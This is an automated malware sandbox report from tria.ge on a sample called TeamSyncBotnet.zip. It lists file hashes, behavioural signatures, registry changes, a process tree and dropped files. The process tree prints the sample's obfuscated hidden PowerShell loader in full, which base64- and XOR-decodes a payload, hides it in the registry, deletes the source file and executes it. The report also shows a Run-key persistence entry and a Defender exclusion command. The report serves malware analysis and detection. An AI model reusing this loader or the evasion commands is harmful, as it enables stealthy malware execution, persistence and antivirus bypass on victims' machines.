Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
116s -
max time network
118s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
12/08/2024, 10:13
Static task
static1
Behavioral task
behavioral1
Sample
TeamSyncBotnet.zip
Resource
win11-20240802-en
Behavioral task
behavioral2
Sample
Botnet/Botnet.bat
Resource
win11-20240802-en
Errors
General
-
Target
TeamSyncBotnet.zip
-
Size
1011KB
-
MD5
2a27a138d8a1f1a34d4149427b69d785
-
SHA1
35a9941c175222d9704970e931b6760142d4eeda
-
SHA256
653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728
-
SHA512
c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b
-
SSDEEP
24576:m9MM9cuzAR3RyDlEKu3n81Sfcu91HHu1Mu/L1wzQtYJ:C9BzUhyDldu3nQW9BHgMKL1wzQ+J
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 672 powershell.exe 4020 powershell.exe 4784 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000\Software\Microsoft\Windows\CurrentVersion\Run\ps-driver = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ps-driver.bat" powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SystemTemp chrome.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe -
Modifies data under HKEY_USERS 17 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "225" LogonUI.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133679312725587054" chrome.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" LogonUI.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000_Classes\Local Settings chrome.exe -
NTFS ADS 1 IoCs
description ioc Process File opened for modification C:\Users\Admin\Downloads\TeamSyncBotnet.zip:Zone.Identifier chrome.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 1052 chrome.exe 1052 chrome.exe 672 powershell.exe 672 powershell.exe 672 powershell.exe 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 4020 powershell.exe 4020 powershell.exe 1052 chrome.exe 1052 chrome.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
pid Process 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeShutdownPrivilege 1052 chrome.exe Token: SeCreatePagefilePrivilege 1052 chrome.exe Token: SeDebugPrivilege 672 powershell.exe Token: SeShutdownPrivilege 1052 chrome.exe -
Suspicious use of FindShellTrayWindow 38 IoCs
pid Process 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe -
Suspicious use of SendNotifyMessage 12 IoCs
pid Process 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe 1052 chrome.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3096 LogonUI.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1052 wrote to memory of 4552 1052 chrome.exe 83 PID 1052 wrote to memory of 4552 1052 chrome.exe 83 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 3160 1052 chrome.exe 84 PID 1052 wrote to memory of 4400 1052 chrome.exe 85 PID 1052 wrote to memory of 4400 1052 chrome.exe 85 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 PID 1052 wrote to memory of 1580 1052 chrome.exe 86 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\TeamSyncBotnet.zip1⤵PID:3936
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:616
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1052 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8e528cc40,0x7ff8e528cc4c,0x7ff8e528cc582⤵PID:4552
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2028,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2024 /prefetch:22⤵PID:3160
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1380,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2060 /prefetch:32⤵PID:4400
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2212,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=2228 /prefetch:82⤵PID:1580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3236 /prefetch:12⤵PID:3136
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3116,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3280 /prefetch:12⤵PID:2776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4468,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=3568 /prefetch:12⤵PID:4880
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4828,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:82⤵PID:4800
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4864,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4836 /prefetch:82⤵PID:1076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=4592,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4284 /prefetch:12⤵PID:4808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4600,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4756 /prefetch:12⤵PID:1524
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4520,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4584 /prefetch:82⤵
- NTFS ADS
PID:3864
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=224,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4496 /prefetch:82⤵PID:3068
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=3712,i,12232184055303960555,5638727337175627271,262144 --variations-seed-version=20240801-180145.014000 --mojo-platform-channel-handle=4856 /prefetch:82⤵PID:1072
-
-
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"1⤵PID:2080
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:2356
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\Botnet\Botnet.bat" "1⤵PID:1560
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"2⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:672 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\ps-driver.bat'3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4784
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ps-driver.bat" "3⤵PID:540
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe"1⤵PID:800
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:JjxMVMBNud;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'zLanIlbmlS' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4020
-
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa3a1e055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:3096
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
649B
MD5b8cd67e4ba77f04fb23e9c7b8bc73900
SHA1b0c2079972941196e46d8de6a12b3d29d6b7822c
SHA25676ea4ac28a433496435c59323082421895252ce9187d36829d3b12f6bd71a323
SHA51212ce84e8b17cec8fe5f900e540ac2a70e9586c75bd2af0dfed10efd8259dda6354fd7b120016faff922882f8b3a8b69c991064c3f0886982c7360abfe6bee5ab
-
Filesize
1011KB
MD52a27a138d8a1f1a34d4149427b69d785
SHA135a9941c175222d9704970e931b6760142d4eeda
SHA256653cfd27b7e988561a5b7af281fc8e0e60285e26a60467b4dcef70590327f728
SHA512c98b7903b302c21c8777abe0521ae79682c7da4531fddfece4d8aeeb11f418ed136bde579e7a0ff89da66d140e0f953eb4779e13cc64a4edc7a676d299b0811b
-
Filesize
1KB
MD5324a0de1effab269933b4b0cc176b014
SHA1495980478c0b06b21e1a76d85eee87eee7cb9188
SHA256b92b78f049324adcec8128d6b9d6234c51b9d26788bdbab3e484698b4a8f5a10
SHA5128699ff7994ecc5c80e44aa4320c8a04fdaae90a64528304b3e2749bbb7b155659172b5f1b8c5f24caa3b9292ca1d2fbdff6331b391d0e14548a83a45a05da675
-
Filesize
2B
MD5d751713988987e9331980363e24189ce
SHA197d170e1550eee4afc0af065b78cda302a97674c
SHA2564f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
-
Filesize
352B
MD5d2c832fda1ef677c32b65cc91ba15efc
SHA168461b226ade42c8cbcb041b4175883b2599ba64
SHA25677562023414673d492f6e01f0763e7bcf9f907a14087fd0b23f36e0ab4b4cac5
SHA51248f62431803f4e6948606fdf6d7001a6c60effa5e39356e2359fc539c1275b3f0c28b58e7bf173fb8f58fca72677ab424e95f345897761cde39c615fb51be424
-
Filesize
9KB
MD536ef1a30c7cd315866ddd008cea1e318
SHA1e9b209f17ae62852c91b8331eda0c154c148d373
SHA2568d87efb81a883f8e36a4b4d07a2d78b58b072fb9c5e6cac6a6c6dd8d26755648
SHA5128ff824ffdfb26424336629aaeb4741bbaea3d069b6d927ceb8c01aa1f109da26039ffb20b341b916cf10e1da23a332cd5a134c8960b2c8e17942db752834aebf
-
Filesize
9KB
MD50cc566065fddc16723a207e900515ad3
SHA1a6ce2c4670045ac89e68010dc0fa7e9d123b621f
SHA25649467c95159f1969b1258353478bd7f0ac7953df99bd899564811eb10ff68c1a
SHA512b6c53763a767e257d4fc5e78abaf0fd921b2afb9b48f6a46238a1845fbaecc0f4ce0dd2af0eecbe8aa664e5be217723dbd0e3e6d01a6fdddcf9c35357274d8fd
-
Filesize
9KB
MD504108ecd9d3d1f2e81e04d808c4f7bc8
SHA119df5ae2b4d99d8cfdc28d61e74613ceb5023bc3
SHA256137e3b8390172f0bc71a9e0aba8dcf887e8aa83b10dd0af71d85ea3005c0cfc6
SHA5121ffb12668069c039ec33b7d0e20d4af0a7b30545b1bf64400dc8f227f46b37f278fe079bdae363b345c17c23782a24f7dd3fa1c018567b20e532e0eb3e5c983a
-
Filesize
9KB
MD5b2bc8f0a4fbc33c8a4255fd7492fd5e6
SHA1b293eee9db173a15a304b06bf05b8c544b7095e2
SHA256df9b7947f00cb33e8fe81b9f9f67a831738b29e2ee43cb6f8fbb80b004fab0b7
SHA5128f02f7c62170fd2a6ed21d2e1d520458d22ea641ba49c21a589eadb53f8f3778a19faae36fb709ba2da27eeaf17847ec9b75f5a4fd05973905659e701c81f96a
-
Filesize
15KB
MD52f01bc047b67c6d3ee9597892437fca9
SHA1e57b26a340ce38ac734f986ed9152e15d92cfd09
SHA256b32af79fd313797b103a71ad60b2370629e5348a578728cd2db57372427c61cc
SHA5125a1b93e4348152db8b128df1e93fca7877b2a6c4fa4ca7f0d6d6664493e605f3c49ed2be9a50cb2fdadd085b8702a879172051edc07582736d9ea9ba4d29359a
-
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\fbb20ddf-f6f8-4e62-9e7a-9b5cd1f3c199.tmp
Filesize9KB
MD5c6363b418546de38b66a28887a1ef76c
SHA11f1d838554132e93bd28981366585d78ac7893d1
SHA2567e36e086758cd6bc2f195604d60443987b4195ae61410c959f46fe1e158ab6a9
SHA51287010e43fa2129ffe5859c156b0705cd670bc42f6e3e7bc04cf70483e295b236773f7882191ae98edd00daa22113ea41b576e83b37a828a8432b532c93141d73
-
Filesize
195KB
MD5d2ad5730d86c8e4b12f659b6cbf3ce23
SHA1c55d6528cd5052894eba8d10175ba04342e0795c
SHA2563f99fa99f83867ae9255b5e478588f4c2ed0656772dc191e81621628619d15f3
SHA512a21db3066231d37ff7f60c9d3e25e6a0607aab0e17fdc2900b37037e65f5b782cbe7dfb588aba162106c174616772b3c03e6accef49aa1691db0cbfc6514c5d8
-
Filesize
262KB
MD587f776feddec3aa52e5c797656edb493
SHA1b783eae96d43b20a4ec7a127476340e58aa8caed
SHA2569724fd0137a46d4220fcd45a7673e8c68b6d32772f7aa1e3068b07a6bae2ad93
SHA512782e932dfcbb7847697807e3cf7025963af954db5905d789069e085e3da80cafad3f1ef34ba7d28a495678310f260038efdfab303a9436cc4f7a465712419c19
-
Filesize
196KB
MD5c978d2f137da1ba478a94110701dde51
SHA182d36c4c080065ad3de7212fbe64a6751669ecb4
SHA256824b2f86c6a1f23295648da7f66a63aef83687845a6577ea222300b376d37045
SHA512393f443aa319c7c1564f71006862361c0ebe3561cece7e3c83dbff21cceaaca9312ffba318f6d00447f7eed0e202abb77becae45425453cd48e19d537db263b1
-
Filesize
195KB
MD5436aa5ca2d249e24b4cd1d1c2fd4d668
SHA1d3cde52ce0e5ee08f3b244ceecfa4b96ce6c095f
